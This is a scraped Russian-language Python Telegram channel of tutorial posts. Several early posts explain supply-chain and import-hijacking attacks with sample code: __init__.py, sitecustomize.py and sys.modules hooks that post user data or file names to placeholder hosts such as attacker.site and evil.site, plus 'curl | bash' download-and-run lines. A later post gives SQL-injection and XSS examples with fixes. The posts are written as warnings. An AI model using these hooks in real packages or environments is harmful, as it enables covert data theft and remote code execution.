PytStart | Программирование на Python
4.45K subscribers
20 photos
26 videos
54 links
Python: примеры кода, уроки, статьи

Купить рекламу: https://telega.in/c/pytstart

✍️По всем вопросам: @Pascal4eg
Download Telegram
💥 Supply Chain атака через __init__.py в Python — как тебя могут взломать на ровном месте

🔓 Установка либы — и ты уже в зоне риска
pip install requestz


Ты хотел requests, а получил requestz. Внутри:
# requestz/__init__.py

import os
import requests

requests.post("http://attacker.site", data={
"cwd": os.getcwd(),
"user": os.getlogin()
})


➡️ Ты даже не вызывал ничего. Просто:
import requestz


И скрипт уже отправил данные.

📦 Импорт = Выполнение

В Python каждый __init__.py — обычный код.
Ты пишешь:

import foo


А Python делает:

1. Открывает foo/__init__.py
2. Выполняет его построчно

Вот пример:
# foo/__init__.py

print("🔥 Заработало")
os.system("curl http://evil.site/shell.py | python3")

➡️ Никаких функций, никаких main() — просто импорт = ты уже в игре.

🐍 Даже wheel может быть заражён
pip install evil-logger-0.1-py3-none-any.whl


Тебе передали файл “удобной логгера”, ты поставил. Всё, в __init__.py был import os; os.system(...).
Ты даже не подозреваешь.

🤫 Вредоносный код можно спрятать “глубже”
# mylib/__init__.py

__import__("mylib.core.loader").boot()


А уже в loader.py:
def boot():
import os
os.system("curl http://bad.site/runme.sh | bash")

➡️ Скрипт запускается неявно — ты видишь “ничего нет”, но ты уже сливаешь данные.

🧪 Пример заражения через Git
git clone https://github.com/fakecorp/data-utils.git
cd data-utils
pip install .


Внутри data_utils/__init__.py:
import base64, os

exec(base64.b64decode("aW1wb3J0IG9zO29zLnN5c3RlbSgiY3VybCA...=="))

➡️ Код закодирован, чтобы ты не увидел глазами. Но он выполняется.

🗣 Запомни: __init__.py — это точка входа, которую никто не проверяет, но она исполняется всегда.
Любая либа может стать трояном. Если ты ставишь чужой пакет — ты запускаешь чужой код.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍73
👨‍💻 PyExamine: умный детектив для Python‑кода

Код может выглядеть красиво, но скрывать «запахи» и архитектурные проблемы. PyExamine — новый инструмент (январь 2025), который видит глубже обычного линтера и помогает держать код чистым и надёжным.

В статье вы найдёте:


📌 Как PyExamine находит 49 типов «code smells» на трёх уровнях: архитектура, структура и строки
📌 Почему у него высокая точность (до 91 %) даже на больших проектах
📌 Как встроить его в CI/CD и ускорить ревью
📌 Чем он полезнее обычных линтеров и статических анализаторов
📌 Что полезного для разработчиков: меньше багов, быстрее ревью, чище архитектура
📌 Как это помогает писать код лучше: код становится понятнее, техдолг снижается, а сопровождение — проще и дешевле

➡️ Читайте и наслаждайтесь

🗣️ Хороший код видно сразу — но идеальный код сначала проверяют «по запаху»

🤩 Pytstart || #Статья
Please open Telegram to view this post
VIEW IN TELEGRAM
8
🎣 Скрытая передача данных через import: троян через namespace-подстановку

📦 Подмена стандартного модуля

# В проекте рядом лежит logging.py
import os
import requests

requests.post("http://evil.site/steal", data=os.getlogin())



# В коде
import logging # ← думаешь, стандартный?

➡️ На деле: исполняется твой файл, а не стандартный logging.
Python сначала смотрит в текущую папку. Всё, утечка пошла.

🔄 Захват стандартной функции

import builtins
import requests

def fake_open(*args, **kwargs):
requests.post("http://evil.site/open", data="triggered")
return real_open(*args, **kwargs)

real_open = builtins.open
builtins.open = fake_open

➡️ Ты импортируешь «невинную» либу — она ловит все вызовы open() и делает пост в фоне.

🤐 Обфускация через __import__

name = "urllib.request"
mod = __import__(name.split(".")[0])
for part in name.split(".")[1:]:
mod = getattr(mod, part)
mod.urlopen("http://evil.site/ok")

➡️ В статике import не видно.
Ты смотришь на код — вроде чисто. А он выполняет всё, что нужно, скрыто.

💉 Вставка в sys.modules

import sys
import types
import requests

fake_os = types.ModuleType("os")
fake_os.getlogin = lambda: (requests.post("http://attacker.site", data="who"), "root")[1]

sys.modules["os"] = fake_os

➡️ Теперь любой `import os` вызовет fake_os, и ты получишь root, но ещё и отправку на сервер.

🧬 Скрытая логика в property

class Proxy:
@property
def secrets(self):
__import__('requests').post("http://leak.site", data="triggered")
return "nothing here"

import sys
sys.modules["secrets"] = Proxy()

➡️ Всё, кто импортнёт secrets, вызовут property → произойдёт слив.

🔀 Расширение init.py и подгрузка мусора

# somepkg/__init__.py
__import__("backdoor").run()


Ты ставишь:

pip install somepkg

А у тебя уже:

import somepkg # ← ничего не делал — уже слил



🗣️ Запомни: Каждый `import` = потенциальный запуск кода.
Python — динамический. Весь namespace можно переопределить, подсунуть, замаскировать.
Если ты не смотришь, что именно исполняется при импорте, ты уже проиграл.
Please open Telegram to view this post
VIEW IN TELEGRAM
4👍3🔥3😱3
Как внедрить функции-ловушки, которые отрабатывают до любого импорта (даже до __main__)

📌 Цель: ловушка, которая срабатывает ещё до выполнения main.py

Решениеsitecustomize.py, который Python запускает автоматически при старте.

📁 Шаг 1: создаём sitecustomize.py
# sitecustomize.py

import builtins

# Сохраняем оригинальную функцию
_real_open = builtins.open

# Подмена open()
def hooked_open(*args, **kwargs):
print(f"[HOOK] open{args}")
return _real_open(*args, **kwargs)

builtins.open = hooked_open

print("[HOOK] sitecustomize.py отработал")

➡️ Этот код выполняется ещё до import, __main__, argparse, чего угодно.
Он перехватывает `open()` во всей системе.

🧪 Шаг 2: проверяем, что ловушка срабатывает
# main.py

print("main.py запускается")
with open("demo.txt", "w") as f:
f.write("test")


Запуск:
python main.py


Результат:
[HOOK] sitecustomize.py отработал
[HOOK] open('demo.txt', 'w')
main.py запускается

➡️ sitecustomize.py выполнен первым, ещё до main.py.


📌 Шаг 3: куда положить sitecustomize.py

Python ищет его в sys.path. Один из вариантов — положить прямо в site-packages.
python -m site


Найди путь вроде:
/usr/lib/python3.10/site-packages

Кидаем туда:
cp sitecustomize.py /usr/lib/python3.10/site-packages/


Теперь любой скрипт, запускаемый через этот Python, будет ловиться.

📁 Шаг 4: скрытая подмена поведения
# sitecustomize.py

import builtins
import subprocess

def hooked_open(*args, **kwargs):
if "secrets" in str(args[0]):
print(f"[STEAL] попытка открыть секретный файл: {args[0]}")
subprocess.run(["curl", "-X", "POST", "--data", f"file={args[0]}", "http://attacker.site"])
return _real_open(*args, **kwargs)

_real_open = builtins.open
builtins.open = hooked_open

➡️ Теперь любой импорт или скрипт, который полезет в secrets.txt, автоматически сливает инфу.

🧨 Шаг 5: даже pip install или Jupyter попадут

Поставь sitecustomize.py глобально — и любой запуск Python, хоть pip, хоть jupyter notebook, будет перехвачен.

🛑 Как защититься
python -S main.py

Флаг -S отключает запуск sitecustomize.py и usercustomize.py.

🗣️ Запомни:sitecustomize.py — это невидимая точка входа, которая исполняется до твоего кода.
Через неё можно внедрить подмену функций, шпионить, саботировать — и ты не увидишь этого в main.py.
Please open Telegram to view this post
VIEW IN TELEGRAM
7
🖥 Миксины (mix-in)

Миксин (mix-in, анг. “примесь”), паттерн проектирования в ООП, когда в цепочку наследования добавляется небольшой класс-помощник. Например, есть класс


class NowMixin(object):
def now():
return datetime.datetime.utcnow()


Тогда любой класс, наследованный с этим миксином, будет иметь метод now().

В названия миксинов принято добавлять слово Mixin, так как не существует никакого механизма для понимания полноценный это класс или миксин. Миксин технически является самым обычным классом.
Please open Telegram to view this post
VIEW IN TELEGRAM
4
👩‍💻 Изменяемые и неизменяемые типы в Python: не путай!

Новички часто удивляются, когда данные "меняются сами по себе". Причина — путаница между изменяемыми и неизменяемыми типами.

👍 Неизменяемые типы (immutable):
int, float, str, tuple, bool, frozenset
a = "hi"
b = a
a = "bye"
print(b) # hi

➡️ b осталась "hi", потому что строки неизменяемы. a = "bye" создала новый объект.

🟢 Изменяемые типы (mutable):
list, dict, set, bytearray, user-defined объекты
a = [1, 2, 3]
b = a
a.append(4)
print(b) # [1, 2, 3, 4]

➡️ b тоже изменилась, потому что список — изменяемый. b = a — это ссылка на тот же объект.

🟢 Что это значит на практике?

1️⃣. Можно "безопасно" копировать неизменяемые значения
2️⃣. ⚠️ С изменяемыми — нужно использовать .copy() или copy.deepcopy(), если не хочешь менять оригинал

📌 Пример с функцией:
def add_item(lst):
lst.append(99)

my_list = [1, 2]
add_item(my_list)
print(my_list) # [1, 2, 99]

➡️ Список изменился! Потому что передали ссылку, а не копию.


🗣️ Запомни: Неизменяемые типы создают копии при присваивании, изменяемые — передают ссылку.Всегда думай, что именно ты копируешь: значение или объект.
Please open Telegram to view this post
VIEW IN TELEGRAM
2👍2🔥2
🌦 Пишем свой прогноз погоды на Python за 30 минут

Хотите прокачать Python‑скилы и сделать что‑то реально полезное? Статья показывает, как с нуля собрать сервис прогноза погоды: API, обработка данных и красивый вывод — всё просто и понятно.

В статье вы найдёте:

📌 Как получить данные о погоде через бесплатный API
📌 Парсинг JSON‑ответов и работа с библиотекой requests
📌 Форматирование и вывод прогноза в терминал
📌 Мини‑GUI на tkinter, если хочется красивее
📌 Что полезного для разработчиков: тренировка работы с API и визуализацией
📌 Как это помогает писать код лучше: учитесь сразу делать законченный мини‑проект и писать чище

➡️ Читайте и наслаждайтесь

🗣️ Лучший способ учиться — сделать что‑то, что реально работает.

🤩 Pytstart || #Cтатья #Проекты
Please open Telegram to view this post
VIEW IN TELEGRAM
5🔥3👏2
🛡 Telebot: антиспам-фильтр с finite state machine (FSM)

Если ты пишешь Telegram-бота с pyTelegramBotAPI (aka Telebot) и хочешь бороться со спамом, флудом или нарушителями правил — логичное решение: добавить антиспам через простую FSM-модель поведения пользователя. Ни сторонние БД, ни Redis не нужны — можно сделать локальный FSM прямо в коде.

📌 Дальше — подробности с практикой 👇

🔧 Шаг 1: Подключаем нужное
from telebot import TeleBot, types
from collections import defaultdict
import time


Создаём FSM через словарь:
bot = TeleBot("YOUR_TOKEN")
user_states = defaultdict(dict)


🧠 Шаг 2: Простейшая state-машина

Пусть мы хотим ограничить количество сообщений — например, не более 3-х за 5 секунд. Если больше — баним или мутим.
MAX_MSG = 3
INTERVAL = 5 # секунд


В хэндлере сообщений:
@bot.message_handler(func=lambda msg: True)
def check_spam(message):
uid = message.from_user.id
now = time.time()

# Получаем историю сообщений
history = user_states[uid].get("history", [])
history = [t for t in history if now - t < INTERVAL]
history.append(now)
user_states[uid]["history"] = history

if len(history) > MAX_MSG:
bot.reply_to(message, "🚫 Слишком много сообщений! Помедленнее.")
else:
bot.reply_to(message, f" Сообщение получено: {message.text}")

➡️ Здесь user_states — простой локальный контейнер состояний: мы храним историю таймстампов для каждого пользователя и обновляем её на каждом сообщении.

🧩 Шаг 3: FSM-переходы

Можно расширить FSM для разных состояний, например: normal, warned, muted. Сменим user_states[uid]["state"] в зависимости от поведения:
def get_state(uid):
return user_states[uid].get("state", "normal")

def set_state(uid, state):
user_states[uid]["state"] = state


Теперь можно реагировать умнее:

if len(history) > MAX_MSG:
state = get_state(uid)
if state == "normal":
set_state(uid, "warned")
bot.reply_to(message, "⚠️ Осторожно! Вы спамите.")
elif state == "warned":
set_state(uid, "muted")
bot.reply_to(message, "🤐 Вы замучены за флуд.")

🛠 Мут можно хранить с таймером и сбрасывать через threading.Timer или cron. А можно просто очищать state по таймеру вручную.


💡 Запомни:

👍 FSM — это когда у каждого пользователя есть "текущее состояние", и логика зависит от этого состояния.
👍Для антиспама часто хватает истории действий за X секунд и переходов состояний (warn → mute).
👍 Такая FSM гибкая: можно адаптировать под регистрацию, викторины, проверки новых участников и др.
👍 defaultdict(dict) — простой способ хранить FSM без SQL/Redis.
👍 Лучше всё-таки вынести состояние в отдельный класс FSMUser, если логика усложняется.

🗣️Хочешь пример с Redis, SQLite или FSM через OOP? Пиши — сделаем!
Please open Telegram to view this post
VIEW IN TELEGRAM
5👏1
Media is too big
VIEW IN TELEGRAM
7 Ошибок новичков в Python, которые нужно исключить

В этом видео разбираются 7 частых ошибок, которые совершают новички в Python.Автор наглядно показывает, какие привычки мешают писать чистый и понятный код, объясняет, как их избегать и что использовать вместо них. Это отличное видео, чтобы не наступать на типичные грабли и сразу прокачивать стиль программирования.


➡️ Ссылка на первоисточник

🤩 Pytstart || #Видеокурс
Please open Telegram to view this post
VIEW IN TELEGRAM
4👍1
🧙‍♂️Секреты f-строк: выражения, форматирование и даже вызов функций внутри f-строки

Ты думал, f-строки — это просто f"Hello {name}"?
А что если я скажу, что туда можно засовывать функции, арифметику и даже условия?

Вот мощный разбор, как выжать максимум из f-строк в Python 👇

🟢 1. Арифметика прямо в строке
a, b = 10, 3
print(f"Сумма: {a + b}, Разность: {a - b}")

🟢 Внутри фигурных скобок можно писать полноценные выражения.
➡️ Да хоть f"Результат: {(a * b) ** 2}" — это законно.

🟢2. Функции внутри f-строки
def shout(name):
return name.upper() + "!"

print(f"Привет, {shout('Алиса')}")

🟢 Вызов функций? Да. Лямбды? Тоже можно. Даже f"{sorted([3,1,2])}" работает.

🟢3. Условия и тернарные выражения
age = 20
print(f"{'Совершеннолетний' if age >= 18 else 'Несовершеннолетний'} пользователь")

🟢 Отлично работает с любыми if ... else внутри {}.

🟢4. Форматирование чисел по-человечески
value = 12345.6789
print(f"{value:.2f}") # 12345.68
print(f"{value:,.2f}") # 12,345.68

➡️ :.2f — два знака после запятой
➡️ :, — добавляет разделитель тысяч

🟢5. Форматирование по ширине и выравниванию
name = "Alice"
print(f"{name:>10}") # справа
print(f"{name:<10}") # слева
print(f"{name:^10}") # по центру

🟢 Работает с числами и строками. Полезно в логах и таблицах.

🟢 6. Форматирование как hex, bin, oct
num = 42
print(f"{num:b}") # 101010
print(f"{num:x}") # 2a

👍 b — двоичная
👍 x — шестнадцатеричная
👍 o — восьмеричная

🟢 7. Вложенные f-строки и шаблоны
user = {"name": "Eva", "points": 120}
print(f"{user['name']} набрала {f'{user['points'] * 2}'} очков")

🟢 Иногда полезно, но лучше избегать слишком сложной вложенности.

💡 Запомни
f-строки — это не просто вставка переменных
Используй форматирование, условия, вызовы функций
Удобно для логов, отчётов, динамического UI, и шаблонов CLI

🗣️ Хочешь пост про format() против f-строк, или как делать шаблоны с f-строками? Предложи тему — сделаем!
Please open Telegram to view this post
VIEW IN TELEGRAM
6👍3🔥2
🤖 TensorFlow: кастомный слой в Keras

Когда стандартных слоёв не хватает — пиши свой. Это просто, если знаешь, как устроен Keras. Вот как по шагам создать кастомный слой на Python ⬇️

👍 1. Наследуем класс Layer
В Keras любой слой — это класс. Мы наследуемся от tf.keras.layers.Layer.
import tensorflow as tf

class MyDenseLayer(tf.keras.layers.Layer):
def __init__(self, units):
super().__init__()
self.units = units

➡️ Здесь сохраняем параметры, но веса ещё не создаём.

👍 2. Создаём веса в build()
Метод build() вызывается автоматически при первом входе данных. Тут инициализируем веса.
    def build(self, input_shape):
self.w = self.add_weight(
shape=(input_shape[-1], self.units),
initializer='random_normal',
trainable=True
)
self.b = self.add_weight(
shape=(self.units,),
initializer='zeros',
trainable=True
)


🟢 Веса создаются через self.add_weight(), и они участвуют в обучении.

👍 3. Логика прямого прохода (call)
Здесь описываем, что происходит с входом.
    def call(self, inputs):
return tf.matmul(inputs, self.w) + self.b

➡️ Можно использовать любые TensorFlow-операции: условные, активации, нормализацию и т.д.

👍 4. Используем слой в модели
layer = MyDenseLayer(units=10)
output = layer(tf.ones((3, 5)))
print(output.shape) # (3, 10)

🟢 Keras сам вызывает build() при первом вызове слоя.

💡 Запомни
👍 __init__() — инициализация параметров
👍 build() — создание весов на основе входа
👍 call() — что реально делает слой
👍 Можно комбинировать слои внутри кастомного слоя — создавай любую архитектуру

🗣️ Хочешь пост по продвинутой Keras-архитектуре или трюкам с callback'ами? Предложи тему — разнесём.
Please open Telegram to view this post
VIEW IN TELEGRAM
2👍1
📱 Генерируем QR‑коды в Python: просто, гибко, наглядно

Иногда нужно быстро создать QR‑код: для ссылки, текста, визитки или даже Wi‑Fi‑пароля. Python справляется с этим буквально за пару строк.
Давай разберём, как это делается и что внутри происходит.

pip install qrcode[pil]

➡️ Устанавливаем библиотеку qrcode. В скобках [pil] — сразу тянет Pillow для работы с изображениями.

import qrcode

img = qrcode.make("https://example.com")
img.save("qrcode.png")

➡️ Базовый случай: генерация QR‑кода для любой строки. Метод make сразу создаёт изображение, которое можно сохранить или отдать пользователю.

Обычно хочется чуть больше контроля: размер, плотность, уровень защиты от ошибок, цвета.
Для этого создаём QR‑код «вручную»:

qr = qrcode.QRCode(
version=1,
error_correction=qrcode.constants.ERROR_CORRECT_L,
box_size=10,
border=4,
)
qr.add_data("Hello, QR!")
qr.make(fit=True)

img = qr.make_image(fill_color="black", back_color="white")
img.save("custom_qr.png")

➡️ Здесь мы задаём:

🟢 version — размер сетки (1 — минимальный);
🟢 error_correction — сколько данных можно потерять и всё ещё прочитать код;
🟢 box_size и border — масштаб и рамку.

А если хочется добавить логотип или иконку — тоже просто:

Создаём QR‑код с высоким уровнем коррекции ошибок и «вклеиваем» логотип по центру:
from PIL import Image

logo = Image.open("logo.png")
qr = qrcode.QRCode(error_correction=qrcode.constants.ERROR_CORRECT_H)
qr.add_data("https://mysite.com")
qr.make(fit=True)

qr_img = qr.make_image(fill_color="black", back_color="white").convert("RGB")

pos = (
(qr_img.size[0] - logo.size[0]) // 2,
(qr_img.size[1] - logo.size[1]) // 2,
)
qr_img.paste(logo, pos)
qr_img.save("qr_with_logo.png")

➡️ Логотип уменьшай так, чтобы не закрывал слишком много ячеек.
Высокий уровень коррекции (ERROR_CORRECT_H) позволяет восстанавливать данные даже при частичном перекрытии.


🗣️ Запомни: QR‑код — это обычное изображение, а Python — отличная среда, чтобы сгенерировать их сотнями или добавить фирменный стиль прямо в коде.
Просто текст → картинка → готово.
Please open Telegram to view this post
VIEW IN TELEGRAM
5
👩‍💻 Discord-бот на Python — без фреймворков, но с магией

Если ты думаешь, что писать бота — это боль, забудь.
С Discord API и библиотекой discord.py ты за 5 минут запускаешь своего ИИ-друга, модератора, или даже антикапчу.

📦 Установка:
pip install -U discord.py  


🧠 Минимальный бот, который отвечает на команды:
import discord
from discord.ext import commands

bot = commands.Bot(command_prefix='!')

@bot.event
async def on_ready():
print(f' Бот запущен как {bot.user}')

@bot.command()
async def ping(ctx):
await ctx.send('🏓 Pong!')

bot.run("ТОКЕН_БОТА")

➡️ Всё просто: !ping вызывает функцию ping.

📛 Добавим логику: калькулятор
@bot.command()
async def add(ctx, a: int, b: int):
await ctx.send(f'🔢 {a} + {b} = {a + b}')

➡️ Автоматический парсинг аргументов прямо в сигнатуре.
!add 3 5 → 8

🔒 Роли и доступ
@commands.has_role("Admin")
@bot.command()
async def secret(ctx):
await ctx.send("🔐 Доступ только для админов")

➡️ Защита без if'ов — всё через декоратор.

📂 Ответы на события
@bot.event
async def on_message(message):
if message.author == bot.user:
return
if "hello" in message.content.lower():
await message.channel.send("👋 Привет!")
await bot.process_commands(message) # не забывай это!

➡️ Слушай сообщения напрямую и реагируй, как хочешь.

🧱 Расширения и cogs
Когда бота становится много — делим по модулям.
# cogs/admin.py
from discord.ext import commands

class AdminCog(commands.Cog):
@commands.command()
async def kick(self, ctx, user: discord.Member):
await user.kick()
await ctx.send(f"👢 {user} кикнут")

def setup(bot):
bot.add_cog(AdminCog())


А в main.py:
bot.load_extension("cogs.admin")

➡️ Архитектура бота сразу становится читаемой и поддерживаемой.

🎯 Полезные фишки:

🟢discord.Member — авто-парсинг упоминаний
🟢ctx.author — кто вызвал команду
🟢ctx.guild — сервер
🟢ctx.send(file=discord.File(...)) — отправка файлов
🟢commands.cooldown() — ограничения на вызов команд


📚 Документация для помощи.

🗣️ Запомни: Discord-бот — это не сайт, не CLI и не каша из if'ов. Это реактивная система на события, и ты — дирижёр. Пиши бота как ассистента, не как Frankenstein.
Please open Telegram to view this post
VIEW IN TELEGRAM
4👍4
🛡 Безопасность веба на Python: как не стать уязвимым к SQLi, XSS и взлому авторизации

Когда ты пишешь backend на Python (особенно на Flask или FastAPI), легко забыть, что твой код — это дверь, которую кто-то обязательно попробует выбить. Ниже — конкретные уязвимости и как их не допустить. Всё на Python, всё по делу.

🧨 SQL Injection — когда пользователь пишет SQL вместо имени

Наивный код:
def login(username, password):
query = f"SELECT * FROM users WHERE name = '{username}' AND password = '{password}'"
db.execute(query)

➡️ А теперь представь, что кто-то ввёл username = ' OR 1=1 --
Твоя БД отдаст всех.

🛡 Делай так:
def login(username, password):
query = "SELECT * FROM users WHERE name = %s AND password = %s"
db.execute(query, (username, password))

🟢 Никогда не вставляй данные в SQL напрямую. Используй параметризацию.

💀 XSS — когда тебе "отвечают" скриптом

Ты рендеришь HTML и вставляешь туда пользовательский ввод:
@app.route("/comment")
def show_comment():
comment = request.args.get("text")
return f"<p>{comment}</p>"

➡️ Ввод: <script>alert('XSS')</script>
Теперь у тебя всплывающее окно, завтра — украденные куки.

🛡 Используй шаблонизаторы (Jinja2), они экранируют HTML по умолчанию:
return render_template("comment.html", comment=comment)

🟢 Никогда не вставляй данные в HTML руками. Никогда.

🔓 Аутентификация — не доверяй "своей" сессии

Наивный подход:
@app.route("/admin")
def admin():
if request.cookies.get("is_admin") == "1":
return "Welcome, admin"
return "Access denied"

➡️ Знаешь, что делает злоумышленник?
document.cookie = "is_admin=1" — и здравствуй, root-доступ.

🛡 Используй нормальную систему логина + подписанные сессии:
from flask_login import login_required

@app.route("/admin")
@login_required
def admin():
...

🟢 Никогда не полагайся на значения из cookie без подписи. Flask, FastAPI и Django умеют делать это за тебя.

🚧 Пароли: не храни в базе как есть

Плохо:
db.save({"username": u, "password": p})


✔️ Надо так:
import bcrypt

hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt())
db.save({"username": u, "password": hashed})


И при логине:
bcrypt.checkpw(input_password.encode(), saved_hashed)

🟢 Всегда хешируй пароли. Никогда не сравнивай строки напрямую.

📬 Ещё советы:
👍 Используй @app.before_request для централизованной валидации
👍 Всегда проверяй Content-Type, Origin, Referer на важных роутов
👍 Делай CSRF-защиту, если у тебя формы и сессии
👍 И никогда не доверяй никаким входным данным. Ни JSON, ни headers, ни cookies


🗣️ Запомни: все уязвимости — это не "где-то в теории", а у тебя в коде, если ты не думаешь о безопасности. Ты либо проверяешь всё, либо однажды проверяешь, почему твоя база утекла.
Please open Telegram to view this post
VIEW IN TELEGRAM
7👍1🤝1
Media is too big
VIEW IN TELEGRAM
🔠 Установка и настройка Python, PyCharm на Windows

В этом видео автор пошагово показывает, как установить Python и PyCharm на Windows.
Разбираются все этапы — от скачивания установщиков до запуска первой программы. Подойдёт тем, кто только начинает работать с Python и хочет настроить всё правильно с самого начала.


➡️ Ссылка на первоисточник

🤩 Pytstart || #Видеокурс
Please open Telegram to view this post
VIEW IN TELEGRAM
3👍1🔥1
🌐 Веб-сокеты в Python — когда HTTP уже не тянет

Обычный HTTP живёт по принципу: клиент стучит — сервер отвечает. Всё.
Никакой постоянной связи, никакой реакции по факту.
Но что делать, если тебе нужно мгновенное обновление? Например:

🟢 💬 чат
🟢 📈 графики в реальном времени
🟢 🎮 онлайн-игра
🟢 📡 пуши и статус трекеры


Здесь на сцену выходят WebSocket'ы — двусторонний канал между клиентом и сервером, который остаётся открытым. То есть:
➡️ сервер может отправлять данные сам, без запроса
➡️ клиент может отправлять хоть каждую секунду
➡️ соединение живёт, пока кто-то не закроет


🛠 Как реализовать WebSocket в Python?

📦 Ставим библиотеку:
pip install websockets


⚙️ Минимальный сервер на websockets:
import asyncio
import websockets

async def echo(ws):
async for message in ws:
await ws.send(f"🔁 Ты сказал: {message}")

async def main():
async with websockets.serve(echo, "localhost", 8765):
await asyncio.Future() # бесконечно

asyncio.run(main())

➡️ Сервер слушает на ws://localhost:8765
Клиент пишет → сервер отвечает тем же.

📟 Простой клиент на Python:
import asyncio
import websockets

async def talk():
async with websockets.connect("ws://localhost:8765") as ws:
await ws.send("Привет, сервер!")
reply = await ws.recv()
print(f"📨 Ответ: {reply}")

asyncio.run(talk())

➡️ Получилось: отправили сообщение — получили ответ.
Но без HTTP-запросов. Это живое соединение.

🧠 А где это реально нужно?
👍 Онлайн-чат: сервер сам рассылает сообщения всем
👍 Таблицы в реальном времени: графики обновляются мгновенно
👍 Игра: клиент и сервер держат постоянную связь
👍 Мониторинг: ты не ждёшь refresh — данные приходят сами


🧱 А если хочешь встроить это в веб-приложение?

Используй FastAPI + WebSocketRoute:
from fastapi import FastAPI, WebSocket

app = FastAPI()

@app.websocket("/ws")
async def websocket_endpoint(ws: WebSocket):
await ws.accept()
while True:
msg = await ws.receive_text()
await ws.send_text(f"🎯 Получено: {msg}")

➡️ Клиент подключается к /ws и общается как по каналу.

🧑‍💻 А как подключиться из браузера?

let ws = new WebSocket("ws://localhost:8000/ws");
ws.onmessage = (e) => console.log("🔔", e.data);
ws.send("Привет от клиента!");

🟢Теперь твой браузер общается с Python в реальном времени.


🗣️ Запомни: WebSocket — это не замена HTTP, а его суперспособность.
Когда тебе нужна живая, немедленная связь — бери сокеты.А всё остальное — просто ждёт request.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥921👍1
🔧Как работать в команде на Python — Git, код-ревью, таски

Работаешь один — ты король и бог. Но в команде один без Git и нормальных привычек быстро превращается в проблему. Ниже — как реально выжить и не бесить коллег.

🔧 1. Всегда работай в ветках

Никогда не пиши код прямо в main или dev.
Получил таску #42 — создавай ветку под неё:
git checkout -b feature/42-add-login

🟢 Название должно быть понятно всем → feature/42-add-login, а не tryfixx_final_final7.

🧠 2. Код должен быть читаемым, а не крутым

Забей на «магические» трюки. В команде лучше писать просто и понятно:
# 🟢 Хорошо:
def send_email(user_email: str, subject: str) -> None:
...

# 🔴 Плохо:
def s(e, s): pass

🗣 Пиши, будто завтра ты уйдёшь, а читать будет стажёр.


🧪 3. Делай тесты на важное — никто не любит сюрпризы

Если у тебя логика — оберни её в тест. Даже простые вещи:
def add(x: int, y: int) -> int:
return x + y

def test_add():
assert add(2, 3) == 5

🟢 Если код легко протестировать — ты всё сделал правильно.


👀 4. Ревью — не оскорбление, а проверка на адекватность

Сделал фичу — открой Pull Request.
Коллеги посмотрят: есть ли баги, понятен ли код.
# GitHub или GitLab
PR: "Добавил логин-форму (таска #42), проверена в dev"

🗣 Не дуйся на замечания. Даже лучший код можно сделать лучше.


5. Коммить по смыслу, а не по настроению

Вместо тупого fix или upd — пиши, что реально сделал:
git commit -m "Добавлен хендлер ошибок при логине"

🟢 Так будет проще откатиться, если кто-то накосячит. А это случается.

🔁 6. Перед мержем — подтяни `dev` и проверь
git checkout dev
git pull
git checkout feature/42-add-login
git merge dev

➡️Проверь руками, что всё работает. Потом — заливай.

🔐 7. Git-конфликты — не конец света

Конфликт? Разрули его в IDE или руками:
<<<<<<< HEAD
old_code()
=======
new_code()
>>>>>>> dev

🟢 Главное — не паникуй. Почти всегда видно, что оставить.

💡 Запомни:
👍 Git — не формальность, а спасение
👍 Код-ревью — не допрос, а помощь
👍 Хорошая таска — как GPS: понятно, куда ехать



🗣️ Запомни: Работа в команде — это как игра в футбол. Если каждый будет играть сам за себя, даже Пеле не спасёт проект.
Please open Telegram to view this post
VIEW IN TELEGRAM
61
🤖 Телеграм-бот на Python: читает и отвечает сам — без магии, но с кайфом

Ты хочешь, чтобы бот читал входящие и отвечал? Не проблема.
Сейчас покажу, как создать минимального Telegram-бота на python-telegram-bot, который будет:

🟢 📥 читать входящие сообщения
🟢 📤 отправлять ответы
🟢 🧠 иметь логику


📦 Установка библиотеки
pip install python-telegram-bot --upgrade


🔧 Шаг 1 — Получи токен у @BotFather

1. Найди @BotFather в Telegram
2. Напиши /newbot
3. Дай имя и username (должен заканчиваться на bot)
4. Получишь токен — сохрани его!


💬 Шаг 2 — Простейший бот, который отвечает на всё
from telegram import Update
from telegram.ext import ApplicationBuilder, MessageHandler, filters, ContextTypes

TOKEN = "твой_токен_сюда"

async def handle_message(update: Update, context: ContextTypes.DEFAULT_TYPE):
text = update.message.text
await update.message.reply_text(f"📨 Ты сказал: {text}")

app = ApplicationBuilder().token(TOKEN).build()
app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, handle_message))

app.run_polling()

➡️ Всё! Бот читает каждое сообщение и повторяет его.


⚙️ Что тут происходит?

🟢 ApplicationBuilder() — создаёт бота
🟢 MessageHandler() — реагирует на текст
🟢 handle_message() — твоя логика
🟢 run_polling() — запускает цикл обновлений


🗣 Бот работает по принципу событий:
Каждое сообщение — это вызов твоей функции.

🧠 Добавим ум: реагируем по-разному
async def handle_message(update: Update, context: ContextTypes.DEFAULT_TYPE):
text = update.message.text.lower()

if "привет" in text:
await update.message.reply_text("👋 Приветик!")
elif "пока" in text:
await update.message.reply_text("👋 До встречи!")
else:
await update.message.reply_text(" Я тебя не понял...")

➡️ Логика — обычный Python. Хочешь regex? Хочешь ML? — вперёд.

🔘 Обработка команд /start и т.п.
from telegram.ext import CommandHandler

async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
await update.message.reply_text("🤖 Я готов к работе!")

app.add_handler(CommandHandler("start", start))

➡️ Теперь /start даёт тебе приветствие.

📂 Хочешь архитектуру? — делай как взрослые
# handlers/messages.py
async def respond(update, context):
text = update.message.text
await update.message.reply_text(f"💬 Ты написал: {text}")

# main.py
from telegram.ext import ApplicationBuilder, MessageHandler, filters
from handlers.messages import respond

app = ApplicationBuilder().token(TOKEN).build()
app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, respond))
app.run_polling()

➡️ У тебя теперь структура и порядок.

🚀 Запуск 24/7

🟢🖥 Используй PythonAnywhere или VPS
🟢🧰 Или переводи на вебхуки через setWebhook()
🟢🔁 Или просто держи run_polling() — и не парься


📚 Документация для помощи.

🗣️ Запомни: телеграм-бот — это не просто "ответчик".Он — живой, асинхронный, событийный зверь.Ты пишешь не скрипт — ты пишешь мозг.
Please open Telegram to view this post
VIEW IN TELEGRAM
7👍21
This media is not supported in your browser
VIEW IN TELEGRAM
👩‍💻 Python с нуля: Типы данных (int, float, str, bool)

